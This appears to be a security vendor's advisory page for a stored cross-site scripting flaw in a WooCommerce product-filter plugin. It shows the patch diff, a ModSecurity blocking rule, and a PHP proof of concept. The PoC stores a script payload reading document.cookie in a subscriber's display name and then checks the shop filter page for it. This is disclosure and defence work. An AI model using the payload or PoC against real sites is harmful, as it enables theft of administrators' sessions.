--- a/woo-product-filter/modules/woofilters/class-woobewoo-pf-woofilters.php
+++ b/woo-product-filter/modules/woofilters/class-woobewoo-pf-woofilters.php
@@ -1458,6 +1458,11 @@
 				continue;
 			}
 			$CustomOptions = WooBeWoo_PF_Frame::_()->getModule( 'woofilters' )->getModel( 'woofilters' )->getCustomFieldFilterOptions( 'product' );
+			// 4.0.2: only the ACF product fields the custom field filter offers (the rule the classic AJAX applies since
+			// 4.0.1); before, any "pc_<meta key>" in the address searched that product meta key with LIKE.
+			if ( ! is_array( $CustomOptions ) || ! isset( $CustomOptions[ $meta_key ] ) ) {
+				continue;
+			}
 			$clauses       = array();
 			$fieldtype     = $CustomOptions[ $meta_key ]['type'] ?? '';
 			foreach ( $values as $single_value ) {
@@ -3335,7 +3340,8 @@
 			$user   = wp_get_current_user();
 			$userId = $user ? $user->ID : 0;
 			if ( $userId ) {
-				$groupId = get_user_meta( $userId, 'wcb2b_group', true );
+				// 4.0.2: the B2B group is a post id; the value is placed in an SQL literal below.
+				$groupId = absint( get_user_meta( $userId, 'wcb2b_group', true ) );
 				if ( ! empty( $groupId ) ) {
 					$metaKeyId = $this->getMetaKeyId( 'wcb2b_product_group_prices' );
 					if ( $metaKeyId ) {
@@ -3669,7 +3675,7 @@
 		}
 		if (
 			taxonomy_exists( $taxonomy ) ||
-			preg_match( '/^[A-Za-z0-9_.%-]{1,200}$/', $taxonomy )
+			preg_match( '/^[A-Za-z0-9_%-]{1,200}$/', $taxonomy ) // 4.0.2: no "." (a regular expression wildcard)
 		) {
 			return $taxonomy;
 		}
@@ -3842,26 +3848,27 @@
 			if ( empty( $differentLogic ) || ( isset( $differentLogic[ $index ] ) && $differentLogic[ $index ] === $taxonomy ) ) {

 				switch ( $taxonomy ) {
+					// 4.0.2: every name is quoted into the pattern; the category and brand wildcards cross only name characters.
 					case 'product_cat':
-						$blocks[ $taxonomy ][] = 'wpf_filter_cat.*?_' . $index;
+						$blocks[ $taxonomy ][] = 'wpf_filter_cat[A-Za-z0-9_]*?_' . preg_quote( (string) $index, '/' );
 						break;

 					case 'product_tag':
-						$blocks[ $taxonomy ][] = 'product_tag_' . $index;
+						$blocks[ $taxonomy ][] = 'product_tag_' . preg_quote( (string) $index, '/' );
 						break;

 					case 'pwb-brand':
-						$blocks[ $taxonomy ][] = 'wpf_filter_pwb.*?_' . $index;
+						$blocks[ $taxonomy ][] = 'wpf_filter_pwb[A-Za-z0-9_]*?_' . preg_quote( (string) $index, '/' );
 						break;

 					default:
 						if ( 0 === strpos( $taxonomy, 'flocal-' ) || 0 === strpos( $taxonomy, 'fmeta-' ) || 0 === strpos( $taxonomy, 'acf-' ) ) {
-							$blocks[ $taxonomy ][] = $taxonomy;
-							$blocks[ $taxonomy ][] = $taxonomy . '_' . $index;
+							$blocks[ $taxonomy ][] = preg_quote( $taxonomy, '/' );
+							$blocks[ $taxonomy ][] = preg_quote( $taxonomy . '_' . $index, '/' );
 						} else {
-							$pattern               = 'wpf_filter_' . preg_replace( '/^pa_/', '', $taxonomy );
+							$pattern               = preg_quote( 'wpf_filter_' . preg_replace( '/^pa_/', '', $taxonomy ), '/' );
 							$blocks[ $taxonomy ][] = $pattern;
-							$blocks[ $taxonomy ][] = $pattern . '_' . $index;
+							$blocks[ $taxonomy ][] = $pattern . preg_quote( '_' . $index, '/' );
 						}

 						break;
@@ -3881,6 +3888,11 @@
 		if ( ! empty( $blocks ) ) {

 			foreach ( $urlQuery as $param => $value ) {
+				// 4.0.2: a parameter name becomes part of a temporary table name; only letters (any script), digits, "_",
+				// "-" and "%" are taken (parse_str() decodes "%60" and the like into the name).
+				if ( ! preg_match( '/^[p{L}p{N}_%-]+$/u', (string) $param ) ) {
+					continue;
+				}

 				foreach ( $blocks as $taxanomy => $patterns ) {

@@ -3905,11 +3917,16 @@
 	 * @version 3.4.7
 	 */
 	public function createTemporaryTable( $table, $sql, $postfix = '' ) {
-		if ( '' !== $postfix ) {
-			$table .= '_' . str_replace( '-', '_', trim( $postfix ) );
+		$table = (string) $table;
+		$raw   = $table;
+		if ( '' !== (string) $postfix ) {
+			$raw   .= '_' . trim( (string) $postfix );
+			$table .= '_' . WooBeWoo_PF_Db::sanitizeIdentifier( str_replace( '-', '_', trim( (string) $postfix ) ) );
 		}

-		$resultTable = WooBeWoo_PF_Db::sanitizeIdentifier( $table );
+		// 4.0.2: only this identifier ever reaches SQL (DROP, CREATE and the name callers query). Before, DROP and CREATE
+		// used the raw name, which carries a URL parameter name from the request (the postfix).
+		$resultTable = self::tempTableIdentifier( $table, $raw );
 		if ( '' === $resultTable ) {
 			return false;
 		}
@@ -3956,17 +3973,36 @@
 			WooBeWoo_PF_Db::query( 'SET SESSION sql_require_primary_key=0' );
 		}

-		if ( ! WooBeWoo_PF_Db::query( "DROP TEMPORARY TABLE IF EXISTS `{$table}`" ) ) {
+		if ( ! WooBeWoo_PF_Db::query( "DROP TEMPORARY TABLE IF EXISTS `{$resultTable}`" ) ) {
 			return false;
 		}

-		if ( WooBeWoo_PF_Db::query( "CREATE TEMPORARY TABLE IF NOT EXISTS `{$table}` (index my_pkey (id)) AS {$sql}", true ) === false ) {
-			$resultTable = '(' . $sql . ')';
+		$created = $resultTable;
+		if ( WooBeWoo_PF_Db::query( "CREATE TEMPORARY TABLE IF NOT EXISTS `{$created}` (index my_pkey (id)) AS {$sql}", true ) === false ) {
+			$created = '(' . $sql . ')';
 		}

-		$this->tempTables[ $table ] = $resultTable;
+		$this->tempTables[ $table ] = $created;

-		return $resultTable;
+		return $created;
+	}
+
+	/**
+	 * A temporary table name made of [A-Za-z0-9_] only, at most 64 characters. When cleaning changed the name (a
+	 * non-Latin or unusual parameter name), a short hash of the original keeps two different names apart.
+	 *
+	 * @since 4.0.2
+	 */
+	public static function tempTableIdentifier( $table, $raw = '' ) {
+		$safe = WooBeWoo_PF_Db::sanitizeIdentifier( $table );
+		if ( '' === $safe ) {
+			return '';
+		}
+		$raw = '' === (string) $raw ? (string) $table : (string) $raw;
+		if ( $safe !== $raw || strlen( $safe ) > 64 ) {
+			$safe = substr( $safe, 0, 55 ) . '_' . substr( md5( $raw ), 0, 8 );
+		}
+		return $safe;
 	}

 	/**
@@ -4071,7 +4107,10 @@
 					// a tag) decides, so without this the shop showed the counts cached for a tag page.
 					'page'     => $ajax ? '' : ( isset( $_SERVER['REQUEST_URI'] ) ? (string) strtok( sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) ), '?' ) : '' ),
 					'object'   => $ajax ? 0 : get_queried_object_id(),
-					'role'     => is_user_logged_in() ? 'user' : 'guest',
+					// 4.0.2: per account, not per "logged in": a page load runs the main query as the viewer, which
+					// includes private products for a shop manager (and own private products for anyone), so one user's
+					// counts must not be served to another.
+					'role'     => is_user_logged_in() ? 'user-' . get_current_user_id() : 'guest',
 					'lang'     => determine_locale(),
 					'currency' => function_exists( 'get_woocommerce_currency' ) ? get_woocommerce_currency() : '',
 				)
--- a/woo-product-filter/modules/woofilters/models/class-woobewoo-pf-settings-model.php
+++ b/woo-product-filter/modules/woofilters/models/class-woobewoo-pf-settings-model.php
@@ -41,7 +41,8 @@
 				return $decoded;
 			}
 		}
-		$decoded = maybe_unserialize( $raw );
+		// 4.0.2: no objects, same rule as the meta rows.
+		$decoded = is_serialized( (string) $raw ) ? @unserialize( trim( (string) $raw ), array( 'allowed_classes' => false ) ) : $raw; // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.serialize_unserialize, WordPress.PHP.NoSilencedErrors.Discouraged
 		return is_array( $decoded ) ? $decoded : array();
 	}

--- a/woo-product-filter/modules/woofilters/views/class-woobewoo-pf-woofilters-view.php
+++ b/woo-product-filter/modules/woofilters/views/class-woobewoo-pf-woofilters-view.php
@@ -789,6 +789,10 @@
 		$clearButtonWord        = ( $showCleanButton && ! empty( $filterSettings['settings']['show_clean_button_word'] ) ) ?
 			woobewoo_pf_translate_string( $filterSettings['settings']['show_clean_button_word'] ) :
 			esc_html__( 'Clear', 'woo-product-filter' );
+		// 4.0.2: a filter saved by the 4.0 builder has no key until the switch is touched; the builder shows it on.
+		if ( ! isset( $filterSettings['settings']['enable_ajax'] ) ) {
+			$filterSettings['settings']['enable_ajax'] = '1';
+		}
 		$enableAjax             = ( ! empty( $filterSettings['settings']['enable_ajax'] ) ) ? $filterSettings['settings']['enable_ajax'] : 0;
 		$forceShowCurrentFilter = ( isset( $filterSettings['settings']['force_show_current'] ) ) ? $filterSettings['settings']['force_show_current'] : 0;

@@ -874,9 +878,16 @@
 				}
 			}
 		}
-		$querySettingsStr = htmlentities( WooBeWoo_PF_Utils::jsonEncode( $querySettings ), ENT_COMPAT );
+		// 4.0.2: '[' and ']' are written as entities in the JSON attributes. They carry request values (the search
+		// term in the prefilter, the current path) and the block output is passed through do_shortcode() again
+		// (widget_block_content, the_content). The browser decodes them back for the script.
+		$jsonAttrBrackets = array(
+			'[' => '[',
+			']' => ']',
+		);
+		$querySettingsStr = strtr( htmlentities( WooBeWoo_PF_Utils::jsonEncode( $querySettings ), ENT_COMPAT ), $jsonAttrBrackets );
 		unset( $filterSettings['settings']['styles'] );
-		$filterSettings = htmlentities( WooBeWoo_PF_Utils::jsonEncode( $filterSettings ), ENT_COMPAT );
+		$filterSettings = strtr( htmlentities( WooBeWoo_PF_Utils::jsonEncode( $filterSettings ), ENT_COMPAT ), $jsonAttrBrackets );
 		$noWooPageData  = '';
 		if ( $noWooPage ) {
 			$noWooPageData = 'data-nowoo="true"';
@@ -904,7 +915,7 @@
 				'" data-filter="' . explode( '_', $viewId )[0] .
 				( $forceShowCurrentFilter ? '" data-force="' . $forceShowCurrentFilter : '' ) .
 				'" data-settings="' . $querySettingsStr .
-				'" data-default-query="' . ( '' === $defaultQueryJs ? '' : htmlentities( $defaultQueryJs, ENT_COMPAT ) ) .
+				'" data-default-query="' . ( '' === $defaultQueryJs ? '' : strtr( htmlentities( $defaultQueryJs, ENT_COMPAT ), $jsonAttrBrackets ) ) .
 				// 4.0.1: the AJAX endpoint accepts the prefilter only with this signature.
 				( '' === $defaultQueryJs ? '' : '" data-default-query-sig="' . esc_attr( WooBeWoo_PF_Woofilters::defaultQuerySig( (int) explode( '_', $viewId )[0], $defaultQueryJs ) ) ) .
 				'" data-filter-settings="' . $filterSettings . '" ' . $noWooPageData . $proAttributes .
@@ -997,7 +1008,7 @@
 			$filter                    = WooBeWoo_PF_Dispatcher::applyFilters( 'controlFilterSettings', $filter );
 			$filter['blockAttributes'] = empty( $filter['blockAttributes'] ) ? '' : ' ' . $filter['blockAttributes'];
 			if ( $useTitleAsSlug ) {
-				$filter['blockAttributes'] .= ' data-title="' . $this->getFilterSetting( $filter['settings'], 'f_title', '' ) . '"';
+				$filter['blockAttributes'] .= ' data-title="' . esc_attr( $this->getFilterSetting( $filter['settings'], 'f_title', '' ) ) . '"';
 			}

 			$method = 'generate' . str_replace( 'wpf', '', $filter['id'] ) . 'FilterHtml';
@@ -3153,8 +3164,8 @@

 				' data-query-logic="' . $logicSlug . $notValues .
 				'" data-radio="' . ( 'radio' === $type ? '1' : '0' ) .
-				'" data-taxonomy="' . $attrName .
-				'" data-label="' . ( '' !== $attrLabel ? $attrLabel : $filterNameSlug ) .
+				'" data-taxonomy="' . esc_attr( $attrName ) .
+				'" data-label="' . esc_attr( '' !== $attrLabel ? $attrLabel : $filterNameSlug ) .
 				'" data-hide-active="' . ( $hideEmptyActive ? '1' : '0' ) .
 				'" data-show-all="' . ( (int) $show_all_atts ) .
 				'" data-hide-single="' . ( (int) $hideBySingle ) . '"' .
@@ -3588,9 +3599,11 @@
 			}
 			$termId      = isset( $filterItem->term_id ) ? $filterItem->term_id : '';
 			$style       = '';
-			$displayName = WooBeWoo_PF_Dispatcher::applyFilters( 'getItemDisplayName', empty( $filterItem->name_label ) ? $filterItem->name : $filterItem->name_label, $filterItem );
+			// 4.0.2: the name of a term or of a product author (a user's display name, which any account can set) is
+			// text; only a custom label set in the admin may carry markup.
+			$displayName = WooBeWoo_PF_Dispatcher::applyFilters( 'getItemDisplayName', empty( $filterItem->name_label ) ? esc_html( (string) $filterItem->name ) : $filterItem->name_label, $filterItem );

-			$addAttrs = $menuMode ? ' data-link="' . get_term_link( $termId, 'product_cat' ) . '"' : '';
+			$addAttrs = $menuMode ? ' data-link="' . esc_url( get_term_link( $termId, 'product_cat' ) ) . '"' : '';

 			$hasChildren = ! empty( $filterItem->children );

@@ -3629,15 +3642,15 @@
 						$this->setFilterCss( '#' . self::$blockId . ' [data-term-id="' . $termId . '"] {' . $style . '}' );
 					}
 					$html .=
-						'<option data-term-name="' . esc_attr( $name ) .
-						'" value="' . $termId .
+						'<option data-term-name="' . htmlspecialchars( wp_strip_all_tags( html_entity_decode( (string) $name, ENT_QUOTES, 'UTF-8' ) ), ENT_QUOTES, 'UTF-8', true ) .
+						'" value="' . esc_attr( $termId ) .
 						'" data-term-slug="' . esc_attr( $slug ) .
-						'" data-count="' . $count .
-						'" data-term-id="' . $termId .
+						'" data-count="' . (int) $count .
+						'" data-term-id="' . esc_attr( $termId ) .
 						'" data-slug="' . esc_attr( $slug ) .
 						'" ' . $selected .
-						' data-img="' . $img .
-						'"' . $addAttrs . '>' . $pre . $displayName . ' ' . $countHtml . '</option>';
+						' data-img="' . esc_url( $img ) .
+						'"' . $addAttrs . '>' . $pre . wp_strip_all_tags( $displayName ) . ' ' . $countHtml . '</option>';
 				}
 				if ( $hasChildren && ! $loadViaAjax ) {
 					$tmpPre = ( $isHierarchical && ! $hideAllParent ) ? $pre . '   ' : $pre;
@@ -4219,12 +4232,12 @@
 		$filterSlug        = $filterSlug ? $filterSlug : $filerList[ $filter['id'] ]['slug'];
 		$filterContentType = $filerList[ $filter['id'] ]['content_type'];

-		return ' data-filter-type="' . $filter['id'] . '"' .
-			' data-get-attribute="' . $filterName . '"' .
-			( $displayType ? ' data-display-type="' . $displayType . '"' : '' ) .
-			( $filterContentType ? ' data-content-type="' . $filterContentType . '"' : '' ) .
-			( $filterSlug ? ' data-slug="' . $filterSlug . '"' : '' ) .
-			( empty( $filter['uniqId'] ) ? '' : ' data-uniq-id="' . $filter['uniqId'] . '"' );
+		return ' data-filter-type="' . esc_attr( $filter['id'] ) . '"' .
+			' data-get-attribute="' . esc_attr( $filterName ) . '"' .
+			( $displayType ? ' data-display-type="' . esc_attr( $displayType ) . '"' : '' ) .
+			( $filterContentType ? ' data-content-type="' . esc_attr( $filterContentType ) . '"' : '' ) .
+			( $filterSlug ? ' data-slug="' . esc_attr( $filterSlug ) . '"' : '' ) .
+			( empty( $filter['uniqId'] ) ? '' : ' data-uniq-id="' . esc_attr( $filter['uniqId'] ) . '"' );
 	}

 	/**
--- a/woo-product-filter/modules/woofilters_widget/gutenberg/block.php
+++ b/woo-product-filter/modules/woofilters_widget/gutenberg/block.php
@@ -29,9 +29,30 @@
 						return '';
 					}

-					return WooBeWoo_PF_Html::escapedHtml(
+					$html = WooBeWoo_PF_Html::escapedHtml(
 						do_shortcode( '[wpf-filters id="' . absint( $attributes['filter_id'] ) . '"]' )
 					);
+
+					// 4.0.2: WordPress runs do_shortcode() over block output again (the_content and the block widget
+					// filter widget_block_content), and the filter markup carries request values (search term, prefilter).
+					// Square brackets outside <script>/<style> become entities, so nothing from the request is read
+					// as a shortcode; browsers show and decode them unchanged.
+					$parts = preg_split( '#(<(script|style)b[^>]*>.*?</2s*>)#is', (string) $html, -1, PREG_SPLIT_DELIM_CAPTURE );
+					$out   = '';
+					$count = count( $parts );
+					for ( $i = 0; $i < $count; $i += 3 ) {
+						$out .= strtr(
+							$parts[ $i ],
+							array(
+								'[' => '[',
+								']' => ']',
+							)
+						);
+						if ( isset( $parts[ $i + 1 ] ) ) {
+							$out .= $parts[ $i + 1 ];
+						}
+					}
+					return $out;
 				},
 			)
 		);
--- a/woo-product-filter/woo-product-filter.php
+++ b/woo-product-filter/woo-product-filter.php
@@ -3,7 +3,7 @@
  * Plugin Name: Product Filter for WooCommerce by WBW
  * Plugin URI: https://woobewoo.com/product/woocommerce-filter/
  * Description: Filter products in your store in most efficient way
- * Version: 4.0.1
+ * Version: 4.0.2
  * Author: woobewoo
  * Author URI: https://woobewoo.com/
  * Requires at least: 6.0

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-140030
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261400,phase:2,deny,status:403,chain,msg:'CVE-2026-140030 via Product Filter author display_name XSS',severity:'CRITICAL',tag:'CVE-2026-140030'"
  SecRule ARGS_POST:action "@streq woobewoo_pf_filters_frontend" "chain"
    SecRule ARGS_POST:filter_author "@rx <script" "t:urlDecodeUni,t:htmlEntityDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-140030 - Product Filter for WooCommerce by WBW <= 4.0.1 - Authenticated (Subscriber+) Stored Cross-Site Scripting via User 'display_name' Parameter

// Configuration
$target_url = 'http://example.com'; // WordPress site URL
$subscriber_username = 'subscriber'; // Attacker's subscriber account username
$subscriber_password = 'password'; // Attacker's subscriber account password

// Malicious payload to be stored in display_name
$payload = '<script>alert(document.cookie)</script>';

// Step 1: Log in as subscriber
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $subscriber_username,
    'pwd' => $subscriber_password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

if (strpos($response, 'Dashboard') === false) {
    die('Login failed. Check credentials.');
}
echo 'Logged in as subscriber.n';

// Step 2: Update display_name with payload
$profile_url = $target_url . '/wp-admin/profile.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $profile_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'display_name' => $payload,
    'action' => 'update',
    'user_id' => 2, // Assuming subscriber user ID is 2; adjust if needed
    '_wpnonce' => '...', // Need to extract nonce from profile page
    '_wp_http_referer' => '/wp-admin/profile.php',
    'from' => 'profile',
    'checkuser_id' => 2,
    'email' => 'subscriber@example.com',
    'first_name' => 'Sub',
    'last_name' => 'Scriber',
    'nickname' => $subscriber_username,
    'description' => ''
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

if (strpos($response, 'Profile updated') !== false) {
    echo 'Display name updated with payload.n';
} else {
    // Might fail due to nonce; need to parse nonce first
    echo 'Profile update may have failed. Check manually.n';
}

// Step 3: Trigger the stored XSS by visiting a page with the author filter
// The exact URL depends on the filter configuration. Typically, a filter with an author field exists.
// Example: /shop/?wpf_filter_author=subscriber
$trigger_url = $target_url . '/shop/?wpf_filter_author=' . urlencode($subscriber_username);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $trigger_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

// Check if payload is present unescaped in the response
if (strpos($response, $payload) !== false) {
    echo 'XSS payload found in response. Vulnerability confirmed.n';
} else {
    echo 'Payload not found. The filter may not be configured or the page may require different parameters.n';
}

// Note: In a real attack, the attacker would send the trigger URL to a victim (e.g., admin) to execute the script.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.